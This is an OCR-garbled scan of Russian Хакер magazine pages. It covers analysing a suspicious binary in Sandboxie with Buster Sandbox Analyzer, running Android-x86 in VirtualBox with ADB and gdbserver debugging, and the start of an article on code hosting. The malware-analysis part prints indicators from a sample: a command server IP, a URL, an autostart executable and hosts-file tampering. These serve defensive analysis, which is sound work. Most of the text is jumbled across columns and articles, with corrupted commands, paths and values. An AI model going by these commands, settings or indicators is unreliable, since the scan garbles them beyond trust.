Sandboxie: -7 Перезагрузить конфигурацию». настроим сам плагин Buster Sandbox
« Настроить
::".4--.,.............. - -.. . ::.;~'::..~
Таким образом, все временные файлы, коман
(
---=:..- .
-~-_
виатуры и мышиl;
функции, отвечающие за удаление файлов .
-
-_М
[BSA] InjectDll=C:\Prpgram F.iles\Sandboxie\ Plugins\sbiextra . dJJ. . Inject.o:I.l=C: \Progr.aJJ1 Files\Sa[1dboxie\ Plugins \antidel. dll. InjectD1.1"c: \Program Files\Sandboxie\ Plugins\LAPD.dll OpenWinClass=TFormBSA Enabled=y ConfigLe.v el=7 BoxName:ritle=n BorderColor=#eeeeFf . NotifyInternetAccessDenied=y . Теmр1.аtе=JЦосkРоrt.s...
К слову, все наши манипуляции лучше произ водить при отключенном антивирусе, иначе мы
рискуем заблокировать/удалить что-нибудь из того, что исследуем. Как изучить поведения бинарника? Просто нажимаем правой кнопкой
на этот файл и выбираем в выпавшем меню пункт Run BSA. Откроется окно Buster Sandbox Analyzer. Внимательно смотрим в строку Sandbox folder to check. Все параметры должны совпадать с теми, которые мы указали при
настройке
Sandboxie, то есть если песочница BSA, а в качестве пути к папке был задан параметр FileRootPath=C :\ Sandbox\%SANDBOX%, то всё должно быть получила название
РОRТАВLЕ-ВЕРСИЯ «ПЕСОЧНИЦЫ» Безусловно, многим не понравится, что надо что-то ус танавливать, настраивать и т. д . Так
По сути, этот файл представляет собой файл н астроек
Sandboxie,
как меня всё это тоже не прельщает, я сделал
обрабатывается и передается программе ,
портабельн ую версию инструмента, который
а по окончании работы перезаписывается
Templates.
Если же параметр имеет, например, такой вид:
который должным образом
FileRootPath=C: \Sandbox\%SANDBOX%.
можно запускать без установки и настройки ,
обратно в
прямо с флешки. Скачать такую версию можно
файл «Блок н отом», то ты вряд ли найдешь
системный диск, то « песочницы » будут
здесь: tоо l s . sаfеzопе . сс/gjf/SапdЬохiе-рогtаbIе.ziр .
что-то интересное. Нужно обязатель н о
создаваться на зтом диске .
Для запуска « песочницы» достаточно выполнить
обратить внимание на шаблон $llnstallDrive),
скрипт
start.cmd,
а по окончании работы
не забыть выполнить скри пт
stop.cmd,
который
полно стью выгрузит драйвер и все компоненты
Если открыть этот
повторяющийся в ряде пара метров пути . Особенно нас интересует параметр
FileRootPath.
Если он имеет следующий вид:
На строек у самого портабелизатора совсем
template, находящегося
038
в
Sandboxie .ini. папке Templates.
Лично я рекомендую всегда создавать песочницы на локальны х диска х . Это ускоряет работу инструмента, а при запуске с флешки замучи ла паранойя, что хочется всё за пускать
и анализировать на любимом носителе ,
FileRoot.Path=$ (Insj:allDri ve). \ Sandbox\%SANDBOX%
который ты носишь у сердца, то параметр
не много: его работа в основном основана на манипуляциях с файлом
иначе говоря в нем указан определенный
ускоряет на порядки. Е сли же тебя настолько
из памяти, а также сохранит внесенные в ходе
работы изменения в портабеле .
-
можно поменять, но т огда хотя бы используй
-
то «песочницы» будут создаваться
на диске, где находится портабельная
Sandboxie .
портабельные жесткие диски , чтобы всё безбожно не тормозило.
ХАКЕР 02/157/2012
Игры в « песочнице»
Мulw.lle
BehflvIOur Anolyze' Module
Det&iled ,eportofMpicioualМhrrмfeactions:
DеГned
fie twe CfUt8d of modfl8d in Wndows foldor
Defned" t}'P8 CleМad of rnodfl8d
УЕО
ОеГned
УЕО
Iio t,ype cceMed 01 modll8d inAutoSl4t1 bc~
Qe.ud fie n defi'IOd fOIder. C:\DOCUfII!fU.wI SellingalAo.~paтop\l~ Settngs\T f!JЩJ\М..~
De4Iedliondefnedfoktet:С:\DocunenbandSel~~ОР~Settngs\ТeщJ\д8. iщ) CrМled fiendelined lolder.С:\D~. onds etti'9s\До,l'tИIИCТратор\L.oc~ Sel~I\Тemp\дС.1Jтp Dцtedliein dafnedfolder.C:\DOOA'I'I6I'UandSeltinge~paтop\L.~ Sel;ting.\Temp\Дf).~
DOo1Ited procen: С:\Оocunem lII'Id setti1ga\Atu.oим:rратор~ D.в\фlo!iyм.fDI8."С:\Оownenb .nt Setmge~parop\дppbtion IМ
.0 .0 .0
DefnedAutoSt_1ie a e4ted of modfl8d Defned r~дutoS!4tt bcam ae.ud or modfl8d SinUal:edk~d 01 tnCIU8еqц
Detnedlielype ae4ted in~Ioc«ion:С:\ОoшnonI:. ond sdti9WUtef.\[noettOe мetlO\Л~~\фIl&oми. De&1edfieЬоре CfеМed:С:\D0CI.I'I'Ief'b 6l'ld setti'lgl~ор~Det.\фIIyм.ехе
Defned Iie Iype Cfe4t8d; C:\Doa.mettt..t settinga\Aaминнc:тpmор~ DIJI..\~II Del:ectedkfl)Ologgel~
Delected pюcen p!iyiege eIev«ion GotcornpJtet netne
УЕО
comection 10 Inte,"eI: дttemptlolo«l.,...eтc*ivet
•0
дttempl. loendWnd0W8 eouion
.0
St«t8teМce
.0
GoI:I48flVJfl)8nCl!JМlion
GotYOk,.meПoirмtion н. Iiolюm н. lie fюm
УЕО
к_ _
УЕО
.0
Backdoof~
.0
M-...Ane!ym detection ,QW,e
user: С:\ОOCI..tI'I8I'Ib .vd Seuing.~ратор\Дppic4lion Det.\фIay$vr.8Х8
Risk evaШtion ,еМ: High
УЕО
De6IionOfopezW1g ole .eМceorevent
• URf: C\Ooc:ument, &nd SettngtW Um.\ГlIOOное момо\Пpor~~\фIayм'.,,*
HicIe Iie 'ют uset: C:\Oocunentl мd Setti-9~ратор\Дppic4tiQn Du\dpl4yx.cI Host.1ie JI'IOdified: С:\WlNDOWS\8ydemЗ2\diyeq\elс\hosb Inlemel. COI'InI8Ctim: Comoct. ш'190.з.Э5.1З9" on polt 80. Listed .. entr)' мme. n .. remote accмs ~ book Opened .. 8efvice n«ned: RдSМдN Оpened., tel'vice rwned: R emoteдcce •• Opened .. service nemed: Rouef Opened ...vice мmed: Sem П.exeaAabIe_detectedЬу lII't ~1JI;8Oftw«e: 5vondcn lrom Yiustol:.tcom (2011 ·12·12 12:54:22(UTCD
УЕО
Отчет о проведенном анализе
Чеклист подозрительного поведения приложения
как на скриншоте « Работает
Analyzep>. Если
Buster Sandbox
1.
щениях и назвал песочницу по-другому или
на ст роил пара метр
FileRootPath
на другой
В окне
Sandboxie
не отображается ни один
выполняемый процес с . Это означает, что
же ты знаешь толк в извра
2.
су httр://190.9 . 35.199/viеw.рhр?гпd=787714 , вредонос создал специфический мутекс
выполнение программы явно завершило с ь.
G4FGЕХWkЫVАNг и т. д. Можно не только
В спи с ке АРI-вы з овов долгое время не по
просматривать отчеты, но и извлекать все
ди ск или папку, его нужно изменить соответ
явля ется нич е го нового или , наоборот, одно
файлы , созданные в ходе выполнения. Для
ств у ющим образом. В противном случае
и то же выводится в циклической после
этого в окне
довательно с ти. При э том в окне
кой по « песочнице» И выбери « Просмотреть
Sandbox Analyzer
Buster
не будет знать , где искать
Sandboxie
Sandboxie
нажми правой кноп
что-то еще выполняется. Такое бывает,
содержимое » . Откроется окно проводника
если программа на с троена на резидентное
со всем содержимым нашей « песочницы »:
по анализу и изучению процесса выполнения
выполнение или попросту зависла . В этом
В папке
бинарника, вплоть до перехвата сетевых паке
случае ее необходимо вначале завершить
мые на физических дисках « песочницы » , а в
новые файлы и изменения в реестре.
BSA
включает в себя массу настроек
тов . Смело нажимай кнопку
вручную , нажав правой кнопкой в окне
Start Analysis. Окно
пер е йдет в режим анализа . Если песочница,
Sandboxie
на соответствующ у ю « песоч
папке
drive
user -
на х одятся файлы, создавае файлы, создаваемые в профи
ле активного пользователя [%userprofile%l .
выбранная для анализа, по каким-то причинам
ницу » И выбрав « Завершить программы ».
Здесь я обнаружил
с од е р ж ит результаты предыдущего исследо
Кстати , при анализе моего рр . е х е произо
текой
вания , утилита предложит предварительно ее
шла именно такая ситуация .
мененный файл
очи с тить. Все готово к з апуску исследуемого
После этого можно с м е ло выбирать
файла .
Analysis
в окне
Finish Buster Sandbox Analyzer.
Готов? Тогда нажми на изучаемый файл выбери « Запустить в песочнице » , после чего ука ж и ту « песочницу » , К которой мы прикру
получим некоторую с водную информацию о ре
тили
зультата х исследования . В моем случае вре
BSA.
dplaysvr.exe
с библио
временные файлы
hosts.
tmp
и из
Кстати , оказалось, что
в него добавлены следующие строки: 9.~...RJ.2'Щ,lJ7..
АНАЛИЗ ПОВЕДЕНИЯ Нажав на кнопку Malware Апаlуzег,
правой кн о пкой мыши и в открывшем с я меню
dplay x.dll,
w.ww.. gQQg;l,.~ .. cQrn......... _._ ...............
9.4 . Q~.• ?48.•.1J.8.. www.. biOg,_com ....... мы сразу Учти , что в « песочнице » валяются за
раженные файлы . Если их нечаянно запу
доносность файла была совершенно очевидна :
стить двойным кликом , ничего не будет [они
поб е гут АРI-вызовы, которые будут фиксиро
в х оде выполнения создавал с я и запускался
запустятся в « песочнице » l, но если ты их
вать с я в лог-файлах. Обрати внимание, что
файл C:\Documents and Sеttiпgs\Администра Top\Application Data\dplaysvr.exe, который
Сразу после этого в окне анализатора
сам
Buster Sandbox Analyzer
не знает, когда
куда-то скопируешь, а потом выполнишь
...
хм,
ну, ты понял. Здесь же, в папке, можно найти
завершится анализ процесса, фактически
добавлялся в автозагруэку [кстати, именно
дамп реестра, измененного в ходе работы,
сигналом к окончанию служит именно твое
он не хотел завершаться caMI, происходило
в виде файла
жмакание на кнопку
соединение с
перевести в более читабельный геg-файл при
Finish Analysis . Как
же
190.9.35.199
и модифицировался
узнать, что время уже наступило ? Тут может
hosts-фаЙл. Кстати , при этом на
быть два варианта.
файл детектировали только пять антивирусных
VirusTotal
движков, что видно из логов .
Всю информацию о результатах анализа можно получить непосредственно в меню
Viewer
в окне
Buster Sandbo x Analyzer.
RegHive . Этот
файл можно легко
помощи следующего командного скрипта:
~~.9_.ЬQ@...НК~r-1.~!Jч!J~.1!JJ.gрQ)~.u!J.u... В.~gН;i,.\'g...............
.R~G... f)(РQ!П .. I:!К.~М\.u!J.u~.i;lлg.RQ~!J.u.у...~1!оg.RQ~,.r.~g КЕ G..I.т LQ,t.D...HK bl1~.t,I.U!J ~.1!JJ.9РО)щY.U ......... _ .... __ ..... _..
OQ.1;gpil.<;!.. яш.gР.Qх.•.сgg ....................................._...............
Здесь же приютился и журнал АРI-вызовов , который, безусловно , будет полезен при подробном исследовании. Все результаты S~_~ОТOбpIDao",т~".......~r_npo~ ~._ .
S!JОтOlp8ж8,.tp8НИЦ)I-..yt_.
8
Окна, программ запущенные в песочнице, теперь будут выделяться
ХАКЕР
02/157/2012
Таким образом, ты получишь
sandbox.reg,
в котором указаны строки, внесенные злов
х ранятся в виде текстовы х файлов в подпап
редом в ходе выполнения. После выполнения
ке
анализа выбери в меню
Reports
папки
Buster
SапdЬох
пункт Сапсеl
Analyzer. Особый интере с представляет отчет Report . txt [вызывается через View Reportl, в кото
analysis,
ром при водится расширенная информация
будут удалены, но содержимое «песочницы »
по всем файлам. Именно оттуда мы узнаём,
о с танется на месте . Впрочем, при следую
Options
чтобы вернуть всё как было. Учти, что
после этой операции все журналы анализа
что временные файлы на самом деле были
щем запуске программа сама предложит все
исполняемыми, соединение шло по адре-
удалить.
I
039
PCZONE
Антон
«Ant» Жуков
la . zhukovГrJreal .xa ke p . ru J
Более подробную информацию об
нах
утилите ADB и всех ее параметрах ть!
можешь посмотреть
на официальном
сайте -
blt.lvl2s9bOJ.
КАК ИСПОЛЬЗОВАТЬ ANDROID НА ОБЫЧНОМ КОМПЕ Как запустить мобильные приложения на компьютере? В пакете для разработчика
Android
есть специальный эмулятор,
-
он тормозит. Прямо скажем,
сильно тормозит. Но, к счастью, уже довольно
на платформу рс.
Android
открыты
-
такова политика
Поэтому у любого желающего в принципе есть возмож
разработку своей собственной ветки . Многие знтузиасты активно выпускают патчи, реализующие дополнительный функционал , которого нет в оригинальном
Android . «patch hosting for android
Именно так появился проект
support ,>.
давно ведется работа над интересным проектом по портированию платформы
Google.
ность взять за основу исходную версию мобильной ОС и начать
позволяющий пощупать мобильную ос. Одна проблема
ANDROID -X86 Как известно, исходники
х86
Разработчики планировали выпускать патчи для под
держки х86- платформы . Но после нескольких месяцев работы они
Android
поняли, что способны на большее, чем просто поставлять патчи .
Так появился прое кт
Android-x86I www.android-x86 .org ) - спе
циальная версия мобильной ОС для запуска на самом обычном компьютере. у
Android-x86,
как и у
Android ,
есть разные ветки.
В качестве тестовой платформы выбран культовый нетбук Еее РС, но фактически не имеет значения, куда ты будешь устанав ливать проект. Это может быть как компьютер, так и планшетник
или ноутбук 'К проверенным устройствам относятся A5U5 Еее, Viewsonic Viewpad 10, Delllnspiron Mini Duo, 5amsung Q1U, Viliv 55, Lenovo ThinkPad х61 TabIet). Последний билд даже имеет под держку Wi-Fi . Впрочем, если установка Android на ноутбук - зто, скорее, баловство , то установка на виртуальную машину может прин ес ти вполне ощутимую пользу, особенно тем , кто хо чет попробовать свои силы в разработке под
Android , так
как по с ле установки им
будет намного удобнее тестировать приложения 'правда, придется мириться с некоторыми ограничениями, например с отсутствием
эмуляции акселерометра). Предлагаю перейти к практике.
УСТАНОВКА НА ВИРТУАЛКУ 1. Пре жде всего стоит пойти на официальный сайт и выбрать под хо дящи й образ. Все образы представляютсобой LiveCD. 2. Выбрав подходящий исошник lя скачал android-x86-2.2-r2-asus_ laptop.iso), можно при сту пать непосредственно к установке под вирт уальным окружением, например под бесплатным VirtualВox
I www . viгtuаIЬо х . огg ).Запускаемегоисоздаем новую виртуаль Пара метр vga=ask позволяет вручную выбрать НУЖНЫЙ видеорежим
0'0
ную машину со следующими параметрами :
ХАКЕР
02/157/2012
Android
Создаем раздел ДЛА установки
на х86
Список доступных видеорежимов
Android-x86
в ее нас тройках прим о нтированный исошник Апdгоid-х86 [что
Имя: Andl:'_ !1id __ ОП!!Р'iЩИОН-':1;!1I__ СИС;Р~J"iI :_ Цrщх
бы грузиться уже непосредствен но с жесткого дискаl и запуска
8еР.с..,я:
O'tl1l1r
ем заново. Система предложит два варианта загрузки: обычный
lJам_ять_:
:1Ц_ Мб
Жесткий д.,_с!<:
Liпщ(или !Дпuх~,б)
и
debug. Выбираем первый из них и получаем загруженную под виртуалкой АпdгОid-систему. Если утебя вдруг не заработает
3 r:!i _
мышка, зайди в меню « Машина » И выбери п у нкт « Выключить
В настройках виртуальной машины нужно прописать загружен
интеграцию мыши» [то же самое можно сделать нажатием
ный нами образ
Ctrl + 11.
Android-x86
в качестве ОVО-привода_ После
Right
этого виртуалку можно запускать .
З.
4.
Когда виртуальная машина загрузится с
LiveCO, ты
В общем-то, на данном этапе мы достигли поставленной
сразу видишь
меню для выбора вариантов загрузки. Чтобы просто запустить
цели
и посмотреть ОС, достаточно выбрать
ставить всё самое последнее, скажу, что версия
«Run Andгoid-x86 without
Android
на обычном компе. Для тех , кто любит
4.0
имеет статус
devel,
Апdгоid в качестве обычной ОС, выбираем последний пункт
ки. Например, почему-то одновременно показываются графиче
« Iпstаllаtiоп 71пstаll Апdгоid-х86
ская оболочка и консоль. Не знаю, баг зто или фича, но работать
to harddisk».
так что в ней могут присутствовать различные недоработ
После этого появится меню, предлагающее выбрать раздел для
в такой ОС очень неудобно. Образ
установки системы. Так как разделов у нас еще нет, выбираем
что в нем отсутствует поддержка Еthегпеt , которая была мне
пункт «Create/Modidy рагtitiопs», в результате чего запустится cfdisk_ Создаем новый раздел [первичныйl, выделяя
нужна для отладки приложений. Но если цель всей затеи
под него все свободное пространство , и ставим разделу флаг
остановился на ветке
BootabIe _По сле этого из системной утилиты
3.2RC2
хо рош всем, кроме того,
-
про
сто поиграться с Апdг оid, то сме ло можешь выбирать его. Я же
2.2.
можно выйти , не за
ИНСТАЛЛИМ ПРИЛОЖЕНИЯ - что дальше? Стандартный набор при
быв записать изменения.
6.
загрузили
installation». Поскольку нас больше интересует установка
обычный
5.
-
Теперь можно выбрать созданный раздел для установки в него
Итак, система работает
операционной системы. Указываем тип файловой системы
ложений, поставляемый вместе с ОС, быстро приедается. Да и
ext3, устанавливаем загрузчик GRUB и делаем директорию / system доступной для чтения/записи. Затем можно либо за
жатыми в каких-то рамках? К сожалению, Апdгоid-х86 не может
разве мы ради того поднимали Апdгоid-х86, чтобы оказаться за
грузиться в Апdгоid, или создать фейковую 50-карту, что тоже
использовать Апdгоid
делается довольно просто. Всё, что для этого от нас требуется,
тех производителей железа, которые имеют лицензию
указать объем создаваемой карты .
По этому новы е приложения установить не так просто, как в
На этом установка завершена. Выключаем виртуалку, убираем
Апdгоid-телефонах. Тем не менее разработчики Апdгоid-х86 по-
Market -
эта опция доступна только для
Google .
НАСТРОЙКА ЗВУКА И ВИДЕО Звук. После установки Апdгоid-х86 звук
Видео. Операционная система Andгoid
х86
2.2 [HDPI! ». Далее
нажимаем «е» для
очень часто перестает работать. Я тоже
ориентирована на широкий круг девайсов,
обнаружил эту проблему, когда зашел на
от смартфонов до наручных часов. Очевидно,
меню, в котором следует выбрать запись вида
что устройства имеют разные размеры и,
«kегпеl/апdгоid-2.2/kегпеl
оказалось не так страшно, и замена звуковой
соответственно, разные размеры экрана,
Опять нажимаем «е» И В конце строки через
карты в настройках виртуальной машины
поэтому было бы здорово протестировать
пробел дописываем
на «Iпtеl НО
разрабатываемое приложение при разных
ter для
сбой . Если же простое решение не помогает,
разрешениях . Сделать это совсем несложно.
этого на экран будут выведены все доступные
FAQ, где описано, как эаставить работать ICH АС97 под ViгtualBox [bit .ly/v4H7YQ !.
Во время запуска виртуальной машины надо
видеорежимы, останется только выбрать
Youtube
посмотреть ролики. К счастью, всё
Audio»
позволила устранить
на официальном сайте выложен
ХАКЕР
02/157/ 2012
дождаться, пока
GRUB
предложит варианты
загрузки ОС, и выбрать в меню пункт «Апdгоid-
редактирования записи. Появится еще одно
/quiet
«vga=ask».
гoot
.... ».
Нажимаем Еп
сохранения и «Ь» дЛЯ загрузки . После
нужный и ввести его номер . Например, режим 1152х864х32
VESA обозначен
как 34С .
PCZONE i(l: / 11 \11 ~ 1. с Г ~' !. ~ )~ ) .0.0 .0 111' 1/;.0.0.1 I l l t l /1 [ ./1)1, 10.0.!..1', '11' (, .') .0.0 IJlIlJN е, ').() () 1.1,1 (!IJtJII !'()(IC(.,IIH\I'IJ i (\ : / 11 111: (1: Irl ('(Н) I,(""I!!III'II j (1' / 11 111 :1,{' 1'1 ,'1.1,1 ,1I,,1' ,II'! i I Jli 11111,\1' ",( i 11'(\ ,'11111,1 1 i ti ,\ j'1/llf11111 ) 1 J j'IIIJ1)"',lllllr'IJi(!:,' 11 III'(TI'I/ 1:1.111 Iljf f'(IIJU~\III(lj'll
111 <:I.I,() ,,11,1
,,))
ОхО()()()()()1')
О
ОХОf)()()
О) ()ОО()
,.
1 ()1': 1 О()I.
1"
111' 111' 111' "(НI ,,,iJ.I\](lr'IJ i (\: /
предустановленным GDBserver'oM, который можно найти в /sbin/gd-
111:1,1 t'ц
11.';. () о 1 1t , 1() О. . ~ )f ) . 101 1'11.. 1 " 11
bserver. Таким обраэом, у нас есть возможность использовать GDB
1.',', (). О. () /1,1)
/. ~II I • /.
;1,1.
/1,)1)
ОхОООООО1')
~ )~
I
.0
()х(JОООIИ::
. !. I 1 ~ )
.f)
О,ООО(Jl()'П
для отладки приложений на удаленной машине. Для этого, опять
же, необходимо поднять сеть между виртуальной и хостовой ОС как показано выше и запустить
GDBserver:
rQJ,~t@'!lJ.droi.q_;j jСЕ9.R_s_~r\(~.С ___5.УJгt!J_,ЙJ!о_х .JR _,!dd_re s~.?_ :_lZ34__ .\ . ._____ lи_с;:.!J.Q!J.t\!В~~_~lй_. Ф_<l.!1Д_ ..IJR.I!Ч19),~~_НI<!Я __~ ._ЛQlIны!1__ .!J>,ТI:, .J<' __ti~.I'1>' 1 __ ._____ .
Настраиваем локальную сеть в Android
старались максимально упростить процесс установки сторонних
Можно также воспользоваться опцией " --attach pid", чтобы присоединиться к процессу, который уже запущен.
приложений:
1.
GSDSERVER
Не могу не отметить, что Апdгоid-х86 предлагается с
!
crHJI,f.i,\iHIClli(!:/1I
ОТЛАДКА ЧЕРЕЗ
Сначала надо разрешитьустановкусторонни х приложений из
неизвестных источников. Идем в «Settings -7 Applications-7
Далее мы можем ПОДКЛlочаться к нашей виртуалке с обычной машины. Запускаем
GDB:
Uпkпоwп sources» и ставим здесь галочку. Е с ли не включить зту опцию, то, попытавшисьустановить приложение, мы получим
сообщение, что установка заблокирована.
2. Если известен адрес для скачивания приложения , открываем
И подключаемся к удаленному серверу :
браузер и скачиваем программу. После завершения загрузки кликаем на скачанный файл для установки. Появится окошко с
просьбой подтвердить установку приложения . При удачном рас кладе после нажатия Install наше приложение начнетустанавли
Работает!
ваться. Почему при удачном? Потому, что некоторые программы могут быть несовместимы с Android- x86. В таком случае поста вить их не получит ся.
Итак , открываем раздел « Сеть» И настраиваем там два Чтобы еще больше упростить поиск приложений, можно вос
адаптера:
пользоваться утилитой АпdАррStоге, которая поставляется вместе с Android-x86. Это своего рода аналог Android Market: весь софт
Дда!J:r~R ._1_._:::_.N_.i\Т_._-<,I;!_._I;!j1.RI>,аJI~I:!ОЙ .I1;ЩI. и _tiе будет Bj1Ae.I:! __ KaK .
здесь разбит на категории, а любая программа устанавливается в
еtnJl~ .. )J,JJя _ ~J:tЛRнеI<I.).,... M<I.!JIeR .. 2. _:::_..I;!~Rтуа!J~J:tыЙ_ <lдiшт_ер . xQ~JA (1;! .. _I;!~Р.'У,!Jl~J:t9Й . ~<I.!!I.~J:t_~ ...будеI __ l;!иде_I:! __ как _et-'JJ~ .. ДЛЯ._.ОТJJ.адки _лриложенхй) .
два клика .
НАСТРОЙКИ ДЛЯ ОТЛАДКИ Итак, мы установили ось, поигрались с интерфейсом Android , заинсталлили программы, которые хотели посмотреть ,
-
пора
Для продолжения требуется ре бут системы. По умолчанию
Android х86 не может работать с двумя сетевыми адаптерами,
переходить к более серьезным занятиям . Я из начально собирал
но это легко исправить . Идем в меню для запуска приложе
ся использовать та кую систему как платформу для тестирова
ний, переходим в «Settings -7 Configure Ethernet » и выбира ем
ния разрабатываемы х приложений, поэтому расскажу, как это
«e thO dhcp », после чего снова перезагружаем виртуалку. После
делается.
загрузки необходимо перейти в консоль. Делается это очень
Первым делом нам понадобится настроить сеть, причем в нашем случае она не совсем стандартная. Апdгоid-система должна иметь
доступ винтернет Iчто просто необ ходимо при написании сетевых приложений), а так же еще одно подключение к локальной сети,
просто, с помощью комбинации Alt + Fl .. . F6IAlt + F7 вернет нас
в графический интерфейс). в консоли необходимо выполнить следующие команды:
через которое мы МQГЛИ бы связаться с нашей виртуальной машиной
COQ1;@!!lJdrQ:!.JJ.;J._# леj;~fg
для отладки приложе ний. Ethernet нужен, чтобы настроить NAT в
1.0 _... _. Ч!'.. _. _..__ JП ._e .Jl,J._ e1;h~_.U.f> ___ ... 1Et,J~_..~.,J_~_. __ ._. __
виртуальной машине и полноценно пользоваться интернетом.
255.e.e_,~_
.
255.255.255.е
ехееееее49 ~xee~_e;l.e43
ЕСЛИ НУЖНЫ ТОЛЬКО ПРИЛОЖЕНИЯ режиме, и они реально не будут тормозить .
только что созданный ярлык . Всё, программа
запустить только Апdгоid-приложения
Платформа позволяет запускать десять
установлена
[скажем, популярные игрушки), создан
приложений, которые идут в комплекте с
приложения, правда, не установятся из-за
во многом уникальный проект
Bluestacks IbIuestacks.com ), разработка которого ведется
ней , а также устанавливать дополнительные .
проблем с совместимостью . Некоторые другие,
Это делается очень просто. Заходим в папку
например Апgгу
совместно с компанией АМО . Идея в том,
с установленной программой, находим
компанией
Специально на тот случай, если нужно
-
ее можно запускать. Некоторые
Birds и Fruit Ninja, помечены Blue5tacks как «премиум
файл HD-АрkНапdlег.ехе и создаем для него
приложения», которые можно будет установить
воссоздать окружение мобильной ОС для
ярлык на рабочем столе. Далее скачиваем
тол' ько при использовании грядущей платной
нативного выполнения программ. Что это дает?
интересующее нас приложение для
Ты можешь запускать игры в полноэкранном
'В виде арk-пакета) и перетаскиваем его на
чтобы не змулировать ОС
Android, а полностью
Android
версии программы. Однако куча других игр
установится и запустится без проблем .
ХАКЕР
02/157/2012
Android
ej;h], QQWN
e.,.\j., e.\j.......
" Android OMc~ сnooш
. ... \j. е ' .1;\'.1;\ .....
$t:lect 111 drvicC! compatibIe with u rget Android 4.0.
..gtM.. . (IQWЛ ... rQоt@flш;1гоJ d.;I ltпеtсJg e.t-'11 dllcP. <Jсtiоп ._ ' dhcp.:... faH~.<;I .. (il'1\1gJid ..,н·gЩl1~лt) СQо:t@<Jш1гоir;l:j # п~:tсfg ..etJJ], ЦР. ..... гооt@,шgгоi.d :I . #... пеJсfg :\.9 UP 127 . ~,. e. 1 2 5.5.• е. е.& . .......I;\хееееее49 ethe ЦР . ],е . е ..2 .. 152.5.5., .255. ,.255 ,.~.... ~.хе.I;\~ЮI;\'п eth1 Up .....1,92. ],ч8 .S6 ..],!n .. 255. ;155 ,.255.е ....ехЕщ\j~),~~ц ..... r9Qt@<J!J<;Iroi r;l:J #
на х86
o~:t.cfg
@ Choosf: I ru пп iпg Android device
AVDN,me
St:rialNumber
IJ emulltor·55S4 IW192Jб8.56JОИ555
~
Х 2п
N!A
Debug
Stltf:
y~
Ontine
Yes
Online:
l.aunch I пм Android Virtufll Оме !
AVD
N , m~
APl l~el
Pllltform
TlrgetNlme
СРЩдВl
No AVD .v,il,bj~
Теперь, как ты видишь, у нас подняты два интерфейса: один для
выхода в Сеть, другой для отладки приложений. Остается только настроить последнюю .
[Rdr"esh : '--_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _---'~.!n'gel ...
ОТЛАДКА ПРИЛОЖЕНИЙ ДЛЯ дальнейших действий нам понадобится
Android SDK
который
ОК
EJ Us ~ slme device 'о, future I.!unches
11
C4nc~1
придется загрузить Ideveloper.android .com/sdk / index.html ).
1.
Скачиваем ар х ив
android-sdk_r16-windows.zip
и распако
Выбираем на каком эмуляторе будем отлаживать написанное приложение
вываем. Заходим в получившуюся папку и ищем директо
рию
platform-tools. Ага , такой
нет. Придется запустить
SDK
Мапаgег и установить недостающие инструменты . Выбираем
соппесtеd
«TooI7 Android SDK Platform-tools». После уста новки должна появиться папка platform-tools, которая нас и
to 192.168 ..5.6.1131: 5555
к атегорию
2.
После этого можно просмотреть список уже подключенных
устройств , набрав команду:
интересует .
В папке надо найти утилиту АОВ. Аббревиатура АОВ расшифро
вывается
KaKAndroid Debug Bridge !Отладочный мост«Андро
и д » ). Так как операционная система от Google принадлежит к семейству
Linu x, для ее
настройки часто необходимо исполь
зовать командную строку. Конечно , существуют программы
-
с :.\.<J!J.drQJg.~.sd k cwJndoW~.\platf.orm с t.Qol S.~9gJ:>... pevJc е 5 .
Lis.t .of. deyices....a.ttach!O'.d . ......dеviсе 192.,19(\ ..5.9 , 1е1 :.2555 ..devj,ce еЛ!у1i!tоr ~.5. 554
зм уляторы терминала , которые позволяют выполнять команды
прямо на устройстве, но , во-первых, на маленьком зкране т е лефона это делать неудобно, а во-вторых, иногда требуется
Здесь emulator-5554 - дефолтный эмулятор от Google, а 192.168.56.101 :5555 - наша виртуальная машина .
доступ к устройству через компьютер. В этих и многих других с л у чаях программа АОВ просто незаменима . Она устанавливает
4.
С этого момента наш эмулятор доступен из
Eclipse, и его можно
с вязь междуустройством и компьютером и позволяет прямо на
использовать для тестирования приложений, что нам и требова
компьютере выполнять различные манипуляции с системой
лось .
Android . 3.
Для того чтобы подключить новое устройство к системе, надо
ЗАКЛЮЧЕНИЕ Что я могу сказать после месяца использования
ввести:
Android-x86?
С
одной стороны , проект еще немного сыроват и некоторые недо
i!.r;I.b .. С.Qолесt .J9.2.•.168.,.59 ,.11;\;1. ........................... _.
работки заметны невооруженным взглядом . Версия
4.0 удивила
своим интерфейсом, в котором консоль торчала поверх графики .
Версия
3.2 на первый взгляд не имела глюков в плане графики, но 2.2
не позволяла поднять сеть для отладки приложений. И только удовлетворила всем моим требованиям.
С отладкой тоже всё непросто: этот способ однозначно быстрее эмулятора
SDK,
но полноценно отлаживать приложения лучше
всё-таки на настоящем девайсе. С другой стороны, это шикарная возможность запустить \"'1
"""
У
Android
на своем компе и понять все его
11 YLII VI .... UI'"' ,",UIII,:-,')
достоинства и недостатки, протестировать популярные приложе
handгoid
ния, не покупая телефонов и прочих девайсов.
Crouchlng Panda
:J:
APPHU
Crystal War maгydev
Cube Parkour vmenge
sноRтсuты ДЛЯ БЫСТРОЙ
Defend the Castle ZaBBi
НАВИГАЦИИ
Dlvlng Penguln FitzgeraldEnglneering
Кнопка Windows соответствует кнопке Ноте в Android; Esc соответствует кнопке «Назад» В Апdгоid; F2 соответствует кнопке Мепu;
Doodle Dodge Llte Triple Frog
FЗ соответствует кнопке поиска; Установка приложений с помощью
ХАКЕР
02/157/201 2
AndAppStore
• •
Alt + F1 Alt + F7 -
переключение в консольный режим; переключение в режим
GUI.
PCZONE
Бардадым Денис
?8 ВЫБИРАЕМ
ПРАВИЛЬНЫЙ ХОСТИНГ КОДА
Ни один нормальный программист не будет создавать папки вроде
v001, v002
и распихивать по ним
разные версии своих разработок . Вместо этого он воспользуется системой управления версий,
Если ты не имел депо с системой управления версий, то перед тем, как читать статью,
загляни в архив
а репозиторий разместит онлайн, чтобы работать
и найди в #12/2011 номере][ статью
с кодом могли и другие разработчики. Сделать это
«Git&GitHub: с места
можно бесплатно благодаря хостингу кода, выбором которого мы сегодня и займемся.
I
I
в карьер ».
Где хранить код?
ч
то такое хости нг кода? Это место, куда
поможет с раздачей прав на проекте и позволит
и
ты при помощи твоей любимой системы
следить за вносимыми в него изменениями.
того , пользователи одного сервиса, как правило,
issue tracker для
фиксирования проблем. Более
Подобные сервисы предоставляют ряд инстру
становятся членами активного компьюнити, что
код . Таким образом, с кодом смогут работать
ментов для разработки и поддержки проекта ,
лучше всего видно на примере
несколько программистов . При этом хостинг
например
